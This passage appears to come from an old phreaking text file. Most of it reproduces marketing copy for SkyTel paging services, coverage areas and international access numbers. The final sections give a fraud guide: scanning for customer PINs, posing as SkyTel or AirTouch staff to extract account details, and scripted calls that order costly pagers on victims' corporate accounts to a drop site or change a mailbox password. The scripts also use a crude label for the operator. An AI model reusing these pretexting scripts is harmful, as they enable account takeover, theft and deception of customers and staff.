  8509.      financial news of the day.
  8510.    - Page Recall provides quick message retrieval for times when you've
  8511.      been out of range or the pager has been turned off.
  8512.  
  8513. Sending Messages Is EASY!
  8514.  
  8515.    - Use SkyWord Access or QuickAccess software. All you need is a
  8516.      modem-equipped PC or Macintosh computer to easily send messages.
  8517.    - Your callers can dictate a text message to a SkyTel Customer Messaging
  8518.      Agent, toll-free 24-hours a day.
  8519.  
  8520. Hardware Features:
  8521.  
  8522.    - New FLEX technology means longer battery life -- up to 5 months on
  8523.      one AA battery.
  8524.    - Choice of several musical tones or silent vibration alert.
  8525.    - Receive up to forty, 240-character messages.
  8526.  
  8527. 5. SkyTel 2-Way Pagers.
  8528.  
  8529. Imagine the freedom of getting a question and pushing one button to 
  8530. answer... from a pager small enough to fit in your hand. Your callers
  8531. get answers quickly and easily by telephone, computer, e-mail or even
  8532. on their SkyTel pager. And you reduce long-distance and cellular phone
  8533. expenses!
  8534.  
  8535. SkyTel 2-Way is the first and only service that allows you to respond to
  8536. a message from a pager.
  8537.  
  8538. The SkyTel 2-Way System acts as the clearinghouse for all outgoing and
  8539. incoming messages.
  8540.  
  8541. Messages to you:
  8542. People sending you messages (senders) can do so by:
  8543.  
  8544.    - phone (numeric, voice messages, or operator-assisted text messages)
  8545.    - computer (SkyTel Access or QuickAccess software, e-mail, or palmtop
  8546.      computer connection)
  8547.  
  8548. Messages from you:
  8549. And senders can get your response via:
  8550.  
  8551.    - phone
  8552.    - computer
  8553.    - SkyWord or SkyTel 2-Way pagers
  8554.  
  8555. Works with Other SkyTel Services:
  8556.  
  8557. SkyTalk: Full-featured voice mail lets senders leave a detailed message
  8558.          and then you call back to hear the reply.
  8559. SkyNews: Headline news provided twice daily.
  8560.  
  8561. The answer is in the palm of your hand With SkyTel 2-Way, your senders
  8562. become your partners in communications. They compose messages with
  8563. multiple-choice responses for you to choose from, such as:
  8564.  
  8565.    - CLIENT WILL SIGN $80K CONTRACT IF WE CAN DELIVER BY 4/7
  8566.    - PROCEED
  8567.    - DO NOT PROCEED
  8568.    - AWAIT MY CALL
  8569.  
  8570. Or if your sender does not define responses, select from one of your SkyTel
  8571. 2-Way pager's 16 pre-programmed responses:
  8572.  
  8573.    - YES/OK
  8574.    - NO
  8575.    - WILL CALL LATER
  8576.    - CALL ME
  8577.    - RUNNING LATE
  8578.    - NEED MORE INFO
  8579.    - SEND # TO CALL
  8580.    - WHERE ARE YOU?
  8581.    - WILL ARRIVE 15M
  8582.    - WILL ARRIVE 30M
  8583.    - TRAFFIC DELAY
  8584.    - PICK ME UP
  8585.    - BUSY
  8586.    - FINISHED
  8587.    - CALL HOME
  8588.  
  8589. Senders can receive your response at their convenience, 24 hours a day by
  8590. phone, PC or SkyTel pager.
  8591.  
  8592. Unit Features And Operations
  8593.  
  8594.    - weighs about 5-1/2 ounces
  8595.    - runs for several weeks on single AAA-size alkaline battery
  8596.    - flip-top cover protects the unit and houses the transmitter used to
  8597.      send and receive messages
  8598.    - messages can be up to 500 characters long, including customized reply
  8599.      choices
  8600.    - "Personal Folder" stores messages in the 100 kilobyte memory; message
  8601.      length determines how many messages you can store
  8602.  
  8603. Sending Messages
  8604.  
  8605. With SkyTel 2-Way, anyone can send a message directly to SkyTel 2-Way
  8606. subscribers and receive their replies.
  8607.  
  8608. Message Sending Options:
  8609.  
  8610.    - Telephone keypad: Call toll-free from any touch-tone telephone to send
  8611.      a numeric message.
  8612.    - Voice messaging: Leave a detailed message (for SkyTalk subscribers).
  8613.    - Operator-assisted text messaging: Dial the SkyTel toll-free number and
  8614.      speak to a Customer Messaging Agent who will type and send your
  8615.      message.
  8616.    - Personal computer and modem: Use SkyTel AccessTM or QuickAccess
  8617.      software to compose and transmit messages on a modem-equipped
  8618.      computer.
  8619.    - E-mail: SkyTel 2-Way messages can be created and sent through any
  8620.      Internet-based e-mail system. Replies will be directed back to the
  8621.      e-mail address.
  8622.    - Palmtop computer connections: SkyTel 2-Way subscribers can link their
  8623.      Hewlett-Packard 100 or 200LXTM or OmniGo 100 palmtop computer to a
  8624.      SkyTel 2-Way pager. Subscribers can then compose, transmit, receive,
  8625.      relay, store and reply to SkyTel 2-Way messages.
  8626.  
  8627. Receiving Replies
  8628.  
  8629. With SkyTel 2-Way, senders know for certain whether their message was
  8630. received and can easily check for their reply. Check each message sent over
  8631. The SkyTel 2-Way System using these convenient options:
  8632.  
  8633. Message Tracking and Reply Options
  8634.  
  8635.    - Telephone: Whenever you send a message (by telephone or otherwise),
  8636.      SkyTel assigns a unique confirmation number to that message. Senders
  8637.      can call The SkyTel 2-Way System later and use the confirmation number
  8638.      to check the status of the message and/or get their reply.
  8639.    - Personal computer and a modem: Use SkyTel Access software to compose
  8640.      and transmit messages. Then use the confirmation number to check the
  8641.      status of messages and/or get your reply.
  8642.    - E-mail: When you send a message via e-mail to a SkyTel 2-Way
  8643.      subscriber, you'll receive your reply at your e-mail address.
  8644.    - Pagers: Replies can be forwarded to a SkyWord (alphanumeric) or
  8645.      SkyTel 2-Way pager.
  8646.  
  8647. 6. SkyTel Extra Features.
  8648.  
  8649. SkyNews Features:
  8650.  
  8651.    - Four headlines are broadcast twice each day - 12:30pm and     
  8652.      5:00pm ET Monday Friday, 2:00 and 7:00pm ET Saturday and
  8653.      Sunday.
  8654.    - Headlines are transmitted FREE to all SkyWord and SkyTel 2-Way
  8655.      pagers.
  8656.    - Headline topics include: U.S. politics, U.S. business and economic
  8657.      news, international events, Dow Jones industrial average updates and
  8658.      the performance of leading stocks.
  8659.    - In addition to the regular broadcasts, news alerts are sent as crucial
  8660.      events occur in the U.S. or abroad.
  8661.  
  8662. SkyNews Special Editions:
  8663.  
  8664. If you need news about your specific industry, subscribe to SkyNews Special
  8665. Editions.  Headlines are available about the following industries:
  8666.  
  8667.            Finance
  8668.            Telecommunications
  8669.            Information Highway
  8670.            Media
  8671.  
  8672. There is an additional charge for SkyTel special editions.
  8673.  
  8674. SkyQuote Features:
  8675.  
  8676. Keep tabs on Wall Street with SkyQuote-the personalized financial   
  8677. news service on SkyTel text messaging units. With SkyQuote, you'll
  8678. be alerted twice each business day with pricing updates on four stocks or
  8679. exchange indexes. You provide us with the stocks, choose the timing of your
  8680. updates, and SkyTel will do the rest.
  8681.  
  8682. Your messaging unit will alert you with the price of the most recent trade
  8683. for each of the four companies you have selected. You will also receive Dow
  8684. Jones headline alerts when significant news breaks on your selected
  8685. companies.
  8686.  
  8687. 7. SkyTel SkyFax Option.
  8688.  
  8689. Whoever invented the fax machine apparently didn't know much about doing
  8690. business on the road. After all, you can't take the machine with you. It
  8691. has very little interest in your schedule. And critical faxes have a way of
  8692. arriving at the wrong place, and the wrong time.
  8693.  
  8694. SkyFax Features:
  8695.  
  8696.    - You are assigned a personal toll-free number that people use to send
  8697.      you faxes.
  8698.    - Notification on your SkyPager or SkyWord pager that a fax has
  8699.      arrived in your mailbox.
  8700.    - Dial a toll-free number to download the fax to fax machine of your
  8701.      choice.
  8702.    - SkyFax even works with your portable computer's send/receive fax
  8703.      software.
  8704.  
  8705. SkyFax Benefits:
  8706.  
  8707. SkyFax offers total control over how and where people reach you with
  8708. important fax messages.
  8709.  
  8710.    - Toll-free number reduces long-distance charges.
  8711.    - Download faxes at YOUR convenience.
  8712.    - Senders don't have to know your travel schedule in order to send you
  8713.      faxes -- you'll never miss an important fax.
  8714.    - Your documents remain confidential, because you're in control.
  8715.  
  8716. 8. SkyTel SkyTalk Option.
  8717.  
  8718. Now, when you travel, The SkyTel System will let you give the people who
  8719. need to stay in touch with you one toll-free phone number where you can
  8720. always be reached. Even if they don't know exactly where you are, they'll
  8721. be able to call a single number and leave a voice message in your SkyTalk(r)
  8722. voice mailbox. You'll be notified quickly that a message is waiting. Then
  8723. you can retrieve it whenever you want.
  8724.  
  8725. SkyTalk can also be used to send information to a whole group of people
  8726. simultaneously with one phone call. Even if they're spread across Phoenix,
  8727. Los Angeles, Boston and Miami, everyone will be notified in minutes.
  8728.  
  8729. SkyTalk Features
  8730.  
  8731.    - SkyTalk is an easily-accessible toll-free voice mail system that
  8732.      notifies you when you have a message on your SkyPager, SkyWord or
  8733.      SkyTel 2-Way pager.
  8734.    - Personal toll-free access numbers are available to provide callers
  8735.      with easy access to your voice mail. You can even forward your office
  8736.      number to your toll-free Personal Access Number when you're traveling
  8737.      so every caller can leave a message for you.
  8738.    - You can access other parts of The SkyTel System easily, without
  8739.      hanging up the phone. For example, you can reply directly to messages
  8740.      from other subscribers, broadcast messages to a subscriber list and
  8741.      redirect messages to other subscribers.
  8742.  
  8743. Additional SkyTalk Features
  8744.  
  8745.    - Personalized voice mail greeting -- your own words in your own voice.
  8746.    - Security code to prevent unauthorized access.
  8747.    - Spanish and Japanese language prompts available.
  8748.    - Messages up to 5 minutes in length.
  8749.    - Stores up to 20 messages for up to 14 days.
  8750.    - Unretrieved messages stored for 72 hours.
  8751.    - Toll-free access to your messages from over 40 countries around the
  8752.      world (surcharge may apply).
  8753.  
  8754. 9. Sending a Message.
  8755.  
  8756.      Make it simple for your clients and colleagues to remember how to
  8757.      send you a message. Just include the instructions on your
  8758.      business card! On the front, list the SkyTel 800 number and your
  8759.      PIN along with all your other numbers. For more detailed
  8760.      instructions, use the back of your card. These instructions can
  8761.      be pre-printed on the card or printed on a sticker for attachment
  8762.      later. To get started, please see the SkyWord example below.
  8763.  
  8764.                              Sending Me A Page
  8765.  
  8766.                             Dial 1-800-759-8888
  8767.                              Enter PIN, press #
  8768.                       Numeric message--press 1, then #
  8769.                        Voice message--press 2, then #
  8770.                          Dictated message--press 3
  8771.                                Press # to end
  8772.  
  8773. 10. SkyTel Coverage.   
  8774.  
  8775. SkyTel is the best single source for all of your messaging needs. For
  8776. locally, nationally and internationally. People everywhere are taking
  8777. advantage of SkyTel coverage flexibility. Whatever your lifestyle requires,
  8778. SkyTel will easily provide a coverage plan that works for you.
  8779.  
  8780. SkyPager and SkyWord Coverage Plans Include:
  8781.  
  8782. Metro Service:
  8783.  
  8784. If your business is conducted primarily in one metro area or state, but
  8785. requires occasional travel to other parts of the country, The SkyTel System
  8786. with Metro Service and Nationwide Now is your cost-effective messaging
  8787. solution.
  8788.  
  8789. Metro Plus:
  8790.  
  8791. A broader 2- to 6-state zone. There are 21 pre-defined Metro Plus zones,
  8792. each with nationwide access through Nationwide Now.
  8793.  
  8794. Regional/Region Plus:
  8795.  
  8796. East, West, Central, Southeast, Southwest or Midwest. Two regions can be
  8797. combined (Region Plus service) for maximum coverage. Each can include
  8798. Nationwide Now (Region Plus service is available for SkyPager only).
  8799.  
  8800. Nationwide:
  8801.  
  8802. Coverage in thousands of cities and towns across the United States.
  8803. (SkyPager only)
  8804.  
  8805. Nationwide Now:
  8806.  
  8807. Nationwide Now is an exclusive SkyTel coverage feature that allows you to
  8808. access our nationwide network when you travel out of your home coverage
  8809. area.
  8810.  
  8811. International:
  8812.  
  8813. SkyTel International Service can be used in conjunction with any U.S.-based
  8814. coverage plan:
  8815.  
  8816.    - Simulcast service: Messages are always transmitted to U.S. and the
  8817.      country(ies) of your choice.
  8818.  
  8819.    - Follow-Me: Allows you to activate coverage (with a quick call into The
  8820.      SkyTel System) to receive messages while traveling abroad. You choose
  8821.      the country(ies) and length of time for international coverage.
  8822.  
  8823.    - International coverage is available in the following countries:
  8824.  
  8825.      Argentina
  8826.      Bahamas
  8827.      Bermuda
  8828.      Brazil
  8829.      Canada
  8830.      Colombia
  8831.      Ecuador
  8832.      Guatemala
  8833.      Hong Kong
  8834.      Indonesia
  8835.      Malaysia
  8836.      Mexico
  8837.      Peru
  8838.      Philippines
  8839.      Puerto Rico
  8840.      Singapore
  8841.      Uruguay (coming soon)
  8842.      Venezuela
  8843.  
  8844.      In the places you travel most, SkyTel goes along with you, giving
  8845.      you reliable, efficient communications. Here's just a partial
  8846.      listing of the United States and international coverage areas.
  8847.  
  8848.      Skytel has a wide coverage area. I only listed U.S. cities with
  8849.      a population of 75,000 or more.
  8850.  
  8851.      ALABAMA
  8852.      Birmingham
  8853.      Huntsville
  8854.      Mobile
  8855.      Montgomery
  8856.      Tuscaloosa
  8857.  
  8858.      ARIZONA
  8859.      Chandler
  8860.      Glendale
  8861.      Mesa
  8862.      Phoenix
  8863.      Scottsdale
  8864.      Tempe
  8865.      Tucson
  8866.  
  8867.      ARKANSAS
  8868.      Little Rock
  8869.  
  8870.      CALIFORNIA
  8871.      Alameda
  8872.      Alhambra
  8873.      Anaheim
  8874.      Arden-Arcade
  8875.      Bakersfield
  8876.      Berkeley
  8877.      Burbank
  8878.      Carson
  8879.      Chula Vista
  8880.      Citrus Heights
  8881.      Compton
  8882.      Concord
  8883.      Corona
  8884.      Costa Mesa
  8885.      Daly City
  8886.      Downey
  8887.      E. Los Angeles
  8888.      El Cajon
  8889.      El Monte
  8890.      Escondido
  8891.      Fairfield
  8892.      Fremont
  8893.      Fresno
  8894.      Fullerton
  8895.      Garden Grove
  8896.      Glendade
  8897.      Hayward
  8898.      Huntington Beach
  8899.      Inglewood
  8900.      Irvine
  8901.      Lancaster
  8902.      Long Beach
  8903.      Los Angeles
  8904.      Modesto
  8905.      Moreno Valley
  8906.      Norwalk
  8907.      Oakland
  8908.      Oceanside
  8909.      Ontario
  8910.      Orange
  8911.      Oxnard
  8912.      Pasadena
  8913.      Pomona
  8914.      Rancho Cucamonga
  8915.      Richmond
  8916.      Riverside
  8917.      Sacramento
  8918.      Salinas
  8919.      San Bernadino
  8920.      San Buenaventura
  8921.      San Diego
  8922.      San Francisco
  8923.      San Jose
  8924.      San Mateo
  8925.      Santa Ana
  8926.      Santa Barbara
  8927.      Santa Clara
  8928.      Santa Clarita
  8929.      Santa Monica
  8930.      Santa Rosa
  8931.      Simi Valley
  8932.      South Gate
  8933.      Stockton
  8934.      Sunnyvale
  8935.      Thousand Oaks
  8936.      Torrance
  8937.      West Covina
  8938.      Westminster
  8939.      Whittier
  8940.  
  8941.      COLORADO
  8942.      Arvada
  8943.      Aurora
  8944.      Boulder
  8945.      Colorado Springs
  8946.      Denver
  8947.      Ft. Collins
  8948.      Lakewood
  8949.      Pueblo
  8950.  
  8951.      CONNECTICUT
  8952.      Bridgeport
  8953.      Hartford
  8954.      New Britain
  8955.      New Haven
  8956.      Norwalk
  8957.      Stamford
  8958.      Waterbury
  8959.  
  8960.      DISTRICT OF COLUMBIA
  8961.      Metro Area
  8962.  
  8963.      FLORIDA
  8964.      Clearwater
  8965.      Coral Springs
  8966.      Ft. Lauderdale
  8967.      Gainesville
  8968.      Hialeah
  8969.      Hollywood
  8970.      Jacksonville
  8971.      Kendall
  8972.      Miami
  8973.      Miami Beach
  8974.      Orlando
  8975.      St. Petersburg
  8976.      Tallahassee
  8977.      Tampa
  8978.  
  8979.      GEORGIA
  8980.      Albany
  8981.      Atlanta
  8982.      Columbus
  8983.      Macon
  8984.      Savannah
  8985.  
  8986.      HAWAII
  8987.      Honolulu
  8988.  
  8989.      IDAHO
  8990.      Boise City
  8991.  
  8992.      ILLINOIS
  8993.      Arlington Heights
  8994.      Aurora
  8995.      Chicago
  8996.      Decatur
  8997.      Elgin
  8998.      Joliet
  8999.      Naperville
  9000.      Peoria
  9001.      Rockford
  9002.      Springfield
  9003.  
  9004.      INDIANA
  9005.      Evansville
  9006.      Ft. Wayne
  9007.      Gary
  9008.      Hammond
  9009.      Indianapolis
  9010.      South Bend
  9011.  
  9012.      IOWA
  9013.      Cedar Rapids
  9014.      Davenport
  9015.      Des Moines
  9016.      Sioux City
  9017.  
  9018.      KANSAS
  9019.      Kansas City
  9020.      Overland Park
  9021.      Topeka
  9022.      Wichita
  9023.  
  9024.      KENTUCKY
  9025.      Lexington
  9026.      Louisville
  9027.  
  9028.      LOUISIANA
  9029.      Baton Rouge
  9030.      Lafayette
  9031.      Metairie
  9032.      New Orleans
  9033.      Shreveport
  9034.  
  9035.      MARYLAND
  9036.      Baltimore
  9037.      Columbia
  9038.      Silver Spring
  9039.  
  9040.      MASSACHUSETTS
  9041.      Boston
  9042.      Brockton
  9043.      Cambridge
  9044.      Fall River
  9045.      Lowell
  9046.      Lynn
  9047.      New Bedford
  9048.      Newton
  9049.      Quincy
  9050.      Somerville
  9051.      Springfield
  9052.      Worcester
  9053.  
  9054.      MICHIGAN
  9055.      Ann Arbor
  9056.      Clinton
  9057.      Dearborn
  9058.      Detroit
  9059.      Worcester
  9060.      Flint
  9061.      Grand Rapids
  9062.      Kalamazoo
  9063.      Lansing
  9064.      Livonia
  9065.      Southfield
  9066.      Sterling Heights
  9067.      Warren
  9068.      Westland
  9069.  
  9070.      MINNESOTA
  9071.      Bloomington
  9072.      Duluth
  9073.      Minneapolis
  9074.      St. Paul
  9075.  
  9076.      MISSISSIPPI
  9077.      Jackson
  9078.  
  9079.      MISSOURI
  9080.      Independence
  9081.      Kansas City
  9082.      St. Louis
  9083.      Springfield
  9084.  
  9085.      MONTANA
  9086.      Billings
  9087.  
  9088.      NEBRASKA
  9089.      Lincoln
  9090.      Omaha
  9091.  
  9092.      NEVADA
  9093.      Las Vegas
  9094.      Paradise
  9095.      Reno
  9096.      Sunrise Manor
  9097.  
  9098.      NEW HAMPSHIRE
  9099.      Manchester
  9100.      Nashua
  9101.  
  9102.      NEW JERSEY
  9103.      Camden
  9104.      Edison
  9105.      Elizabeth
  9106.      Jersey City
  9107.      Newark
  9108.      Paterson
  9109.      Trenton
  9110.  
  9111.      NEW MEXICO
  9112.      Albuquerque
  9113.  
  9114.      NEW YORK
  9115.      Albany
  9116.      Buffalo
  9117.      Cheektowaga
  9118.      New York
  9119.      Rochester
  9120.      Syracuse
  9121.      Yonkers
  9122.  
  9123.      NORTH CAROLINA
  9124.      Charlotte
  9125.      Durham
  9126.      Fayetteville
  9127.      Greensboro
  9128.      Raleigh
  9129.      Winston-Salem
  9130.  
  9131.      OHIO
  9132.      Akron
  9133.      Canton
  9134.      Cincinnati
  9135.      Cleveland
  9136.      Columbus
  9137.      Dayton
  9138.      Parma
  9139.      Toledo
  9140.      Youngstown
  9141.  
  9142.      OKLAHOMA
  9143.      Oklahoma City
  9144.      Tulsa
  9145.  
  9146.      OREGON
  9147.      Eugene
  9148.      Portland
  9149.      Salem
  9150.  
  9151.      PENNSYLVANIA
  9152.      Allentown
  9153.      Erie
  9154.      Philadelphia
  9155.      Pittsburgh
  9156.      Reading
  9157.      Scranton
  9158.  
  9159.      RHODE ISLAND
  9160.      Cranston
  9161.      Providence
  9162.      Warwick
  9163.  
  9164.      SOUTH CAROLINA
  9165.      Charleston
  9166.  
  9167.      SOUTH DAKOTA
  9168.      Sioux Falls
  9169.  
  9170.      TENNESSEE
  9171.      Chattanooga
  9172.      Clarksville
  9173.      Knoxville
  9174.      Memphis
  9175.      Nashville-Davidson
  9176.  
  9177.      TEXAS
  9178.      Abilene
  9179.      Amarillo
  9180.      Arlington
  9181.      Austin
  9182.      Beaumont
  9183.      Carrollton
  9184.      Corpus Christi
  9185.      Dallas
  9186.      El Paso
  9187.      Ft. Worth
  9188.      Garland
  9189.      Grand Prairie
  9190.      Houston
  9191.      Irving
  9192.      Laredo
  9193.      Lubbock
  9194.      McAllen
  9195.      Mesquite
  9196.      Midland
  9197.      Odessa
  9198.      Pasadena
  9199.      Plano
  9200.      San Angelo
  9201.      San Antonio
  9202.      Tyler
  9203.      Waco
  9204.      Wichita Falls
  9205.  
  9206.      UTAH
  9207.      Provo
  9208.      Salt Lake City
  9209.      West Valley City
  9210.  
  9211.      VIRGIN ISLANDS
  9212.      St. Croix
  9213.      St. Thomas
  9214.  
  9215.      VIRGINIA
  9216.      Alexandria
  9217.      Arlington
  9218.      Chesapeake
  9219.      Hampton
  9220.      Newport News
  9221.      Norfolk
  9222.      Portsmouth
  9223.      Richmond
  9224.      Roanoke
  9225.      Virginia Beach
  9226.  
  9227.      WASHINGTON
  9228.      Bellevue
  9229.      Seattle
  9230.      Spokane
  9231.      Tacoma
  9232.  
  9233.      WISCONSIN
  9234.      Green Bay
  9235.      Kenosha
  9236.      Madison
  9237.      Milwaukee
  9238.      Racine
  9239.  
  9240. 11. International Access numbers to the SkyTel system.
  9241.  
  9242. SkyTel US Customers can access the SkyTel System from 44 countries around
  9243. the world! Use the chart below to find the access numbers you need.
  9244.  
  9245. Legend for notes:
  9246.  
  9247.    * a: Pay phones may require a coin or card
  9248.    * b: Not available from pay phones
  9249.    * c: Not available from all phones
  9250.    * d: Local or in-country charges may apply
  9251.  
  9252.                     Country           Access Number     Notes
  9253.  
  9254.              Australia             1-800-12-8078
  9255.              Bahamas               1-800-934-6451       a
  9256.              Bahamas               1-800-934-6451       a
  9257.              Barbados              1-800-534-2170       b
  9258.              Belgium               0800-1-4389          a
  9259.              Bermuda               1-800-825-0311
  9260.              Canada                800-759-8255         c
  9261.              Chile                 1230-020-3220        b
  9262.              China                 10-800-524-4624      c
  9263.              Colombia              980-1-52547          a, c
  9264.              Costa Rica            001800-234-4793      b
  9265.              Denmark               8001-8671            a
  9266.              El Salvador           0-1-800-234-9578     b, c
  9267.              Finland               9-800-1-59402        a
  9268.              France                05-90-3223
  9269.              Germany               0130-8-18414
  9270.              Greece                00800-12-2613        a, c,d
  9271.              Guam                  1-800-671-0150       a
  9272.              Guatemala             099-0082             a
  9273.              Hong Kong             800-5688             a
  9274.              Hungary               00-800-11144
  9275.              Indonesia             001-800-011-0277
  9276.              Ireland               1-800-55-5523
  9277.              Israel                177-150-1572         a
  9278.              Italy                 1678-77100           a
  9279.              Japan                 0031-12-3373         a, c
  9280.              Luxembourg            0800-6170
  9281.              Malaysia              800-2652             a, d
  9282.              Mexico                95-800-759-8255      c, d
  9283.              Netherlands           06-022-7548          a, c
  9284.              Netherlands Antilles  0031-12-3373         b, d
  9285.              New Zealand           0800-447036
  9286.              Norway                800-15617
  9287.              Panama                001-800-507-0089
  9288.              Portugal              0501-12-707          a, c
  9289.              Singapore             800-1200-457         a
  9290.              South Africa          080-09-92588         a
  9291.              Sweden                020-79-3976          a
  9292.              Switzerland           155-2154             a
  9293.              Taiwan                0080-13-8341         a
  9294.              Thailand              001-800-12-066-0249  a, c
  9295.              United Kingdom        0800-89-3648
  9296.              Uraguay               000-413-598-0371     a, c,d
  9297.              Venezuela             8001-2458
  9298.  
  9299. 12. SkyTel accessible by Land, Sea or Air.
  9300.  
  9301.      Accessibility is important in any business, but when you provide
  9302.      mobile satellite communications to maritime, aeronautical and
  9303.      land mobile customers, it's your main selling point.
  9304.  
  9305.      The folks at COMSAT Mobile Communications sell communications
  9306.      that know no bounds, so they need to keep in constant contact
  9307.      with all their customers and prospects. That's why they rely on
  9308.      SkyTel.
  9309.  
  9310.      Robert Katz, director of Mobile Data for COMSAT, says, "It's not
  9311.      just SkyTel paging that's so valuable to us. It's the whole
  9312.      spectrum of SkyTel services." As a matter of fact, the company
  9313.      depends on more than 160 SkyTel pagers, especially in the sales,
  9314.      engineering and operations divisions, as well as a variety of
  9315.      SkyTel services.
  9316.  
  9317.      Serving as much-needed administrative support, a SkyTel Corporate
  9318.      Access Number gives customers or employees toll-free access to
  9319.      sending pages - with just one easy number and without having to
  9320.      carry or remember PlNs. With a list of key COMSAT employees and
  9321.      their PlNs, the SkyTel operator sends messages like a personal
  9322.      assistant. Katz uses this service to send out important meeting
  9323.      notices or project reminders, either to individuals or an entire
  9324.      group. "It's even better than voice mail or e-mail," says Katz.
  9325.  
  9326.      SkyTel service even works with COMSAT's office systems to keep
  9327.      communications transparent to the caller. For example, when Katz
  9328.      receives a call at his desk, his office voice mail system pages
  9329.      him immediately. Wherever he is, his SkyTel pager alerts him that
  9330.      a call is waiting. Within minutes, he phones in an access code to
  9331.      be connected instantly. When he picks up the call, the caller
  9332.      doesn't know if Katz is in a meeting, driving down the highway or
  9333.      relaxing at home. All he knows is that Katz is available for him.
  9334.  
  9335.      A loyal SkyTel customer since 1990, COMSAT is currently
  9336.      integrating SkyTel 2-Way messaging into their day-to-day
  9337.      operations. Of course, you would fully expect these experts in
  9338.      satellite communications to take advantage of the best in
  9339.      satellite messaging technology. With SkyTel they're moving full
  9340.      speed ahead.
  9341.  
  9342. 13. Overview of SkyTel.
  9343.  
  9344. Don't sit by the phone and wait for important calls. Carry your SkyTel
  9345. pager and stay in touch. Let your messages find you.
  9346.  
  9347. Anyone - from customer service reps, medical personnel and sales executives
  9348. to busy parents and teenagers - can take advantage of the easiest
  9349. communications solution today.
  9350.  
  9351. SkyTel has paging services and coverage options to meet your requirements.
  9352. In town or out, SkyTel is the only service you'll need.
  9353.  
  9354. Only The SkyTel System includes these advances:
  9355.  
  9356.    - Always Toll-free - no fumbling for spare change; no cost for calls,
  9357.      from anywhere in the United States
  9358.    - Personalized Greetings - just like an answering machine, change your
  9359.      greeting as often as you like ... easier for callers to use and
  9360.      understand
  9361.    - Page Recall - stop worrying about missed messages; call in to review
  9362.      messages from the last three days, even if your pager was turned off
  9363.  
  9364.        If you need ...                        Then try ...
  9365.  
  9366.  To be notified with a       SkyPager for short, simple communications.
  9367.  number (phone number or
  9368.  special code) that someone
  9369.  is trying to reach you.
  9370.  
  9371.  Full written messages in    SkyWord for receiving numeric and
  9372.  the palm of your hand.      alphanumeric messages.
  9373.  
  9374.                              SkyTel 2-Way for revolutionary two-way
  9375.  To answer questions
  9376.  immediately. Without using  communications. With SkyTel 2-Way you can
  9377.  a phone.                    respond immediately to messages you receive,
  9378.                              right from your pager.
  9379.  
  9380.                              SkyTalk, giving you full-featured voice
  9381.  To know you have a voice    mail and notification on your pager every
  9382.  message.                    time a message is left, available with all
  9383.                              paging services.
  9384.  
  9385.                              SkyFax so your callers can fax easily to
  9386.  Easy access to all of the   your unique toll-free number. You're
  9387.  faxes that come in while    notified via your pager and can download,
  9388.  you're out.                 save, store and forward faxes from wherever
  9389.                              you are (not available with SkyTel 2-Way).
  9390.  
  9391.  To know what's going on in  SkyNews and SkyQuote, providing you with
  9392.  the world and on Wall       news or stock quotes twice daily, available
  9393.  Street.                     to SkyWord subscribers.
  9394.  
  9395. 14. Getting Phree SkyTel Pagers
  9396.  
  9397.     To get phree SkyTel pagers you will need to get a pin. To do this
  9398.     you will have to do some scanning. Use the prefixes in section 16 of
  9399.     this article. Each pin is seven digits. If an account has a personal
  9400.     800 number, then that is the pin. For example 800-759-9826. The pin
  9401.     is 7599826.
  9402.  
  9403.     Hint: If you find a pin with option 3# on it. Which is alpha-numeric
  9404.           paging. Call it up. The SkyTel operator will read you the name
  9405.           of the owner of the pager. Now you have the owner. All you have
  9406.           to do is goto a payphone and page the owner of the pager to the
  9407.           payphone and bull shit him into something stupid like "This is
  9408.           Michael Donaldson from SkyTel. We have lost some information on
  9409.           your SkyTel account. We need it for billing purposes." He will
  9410.           almost 99.99% of the time give it up. Your next step is to CNA
  9411.           his number and get all the information on the number. Now you
  9412.           have all the information on his SkyTel account. The best accounts
  9413.           to get phree pagers with are corporate accounts because they
  9414.           usually have many pagers under the account and will let you ship
  9415.           a large quantity of pagers out at one time.
  9416.  
  9417. Typical Conversation with Skytel to get Phree Pagers:
  9418.  
  9419. (if you have a UPS bin number all the better. BIN = billing identification
  9420. number. AKA bill shipping to another company).
  9421.  
  9422.  SB=Skytel Bitch
  9423.  ME=PBXPhreak
  9424.  
  9425.     Call 800-SKY-USER
  9426.  
  9427.     ME: "Hi, I was wondering if you can help me?"
  9428.     SB: "Sure, what do you need help with"
  9429.     ME: "I would like to add a pager to my SkyTel account"
  9430.     SB: "Ok, sir. Whats your pin on your account"
  9431.     ME: (give her the pin you have info on)
  9432.     SB: (will ask for info on the account)
  9433.     ME: (give her the info)
  9434.     SB: "Ok, what type of pager and service would you like"
  9435.     ME: "A SkyTel Tango 2 Way Pager " -- $400 each
  9436.     SB: "Ok, I am filling an order for a Tango, would you like any extra
  9437.          options on this pager"
  9438.     ME: "Yes, the SkyTalk, SkyNews, SkyFax, SkyQuote and with nationwide and
  9439.          international coverage please" (one fuckin loaded pager)
  9440.     SB: "Ok, that will be shipped out tomorrow"
  9441.     ME: "Miss, one thing.. I am in Canada right now at a Business conference
  9442.          can you ship it over here."
  9443.     SB: "Sure. Whats the address you want it delivered to."
  9444.     ME: (give her the dropsite)
  9445.     SB: "Is there anything else."
  9446.     ME: "No thanks. You have yourself a good day and a Merry Christmas!!!"
  9447.  
  9448. 15. Taking over a SkyTel Mailbox
  9449.  
  9450.     Hint: If you find a pin with option 3# on it. Which is alpha-numeric
  9451.           paging. Call it up. The SkyTel operator will read you the name
  9452.           of the owner of the pager. Now you have the owner. All you have
  9453.           to do is goto a payphone and page the owner of the pager like
  9454.           a million times and if he doesn't respond do it every day for
  9455.           a week. This usually means the pager isn't in use. So this will
  9456.           be a good SkyTel to take over.
  9457.  
  9458. Typical Conversation with Skytel to takeover a SkyTel Mailbox:
  9459.  
  9460.  SB=Skytel Bitch
  9461.  ME=PBXPhreak
  9462.  
  9463.     Call 800-SKY-USER
  9464.  
  9465.     ME: "Hi, this is Michael Donaldson from AirTouch Paging"
  9466.     SB: "How can I help you"
  9467.     ME: "A customer was getting some options moved around when
  9468.          our computers crashed over on our system and I need to make
  9469.          some changes quickly, and our technician won't be here for
  9470.          awhile. He verified all the information correctly before the
  9471.          system crashed.
  9472.     SB: "What is the pin number on the account"
  9473.     ME: "7599823"
  9474.     SB: "OK.. What needed to be changed"
  9475.     ME: "He wanted to add SkyTalk and SkyFax and change his code to 9172"
  9476.     SB: "Ok i will do that now.."
  9477.     ME: "Who am I speaking too. So I can tell my manager." (just bullshit)
  9478.     SB: (some stupid name)
  9479.     ME: "Ok, Thank You."
  9480.     SB: "Is there anything else."
  9481.     ME: "No that is fine"
  9482.     SB: "Have a good day"
  9483.  
  9484.     That is a basic conversation that will get them to change the password,
  9485.     and add options to the account.
  9486.  
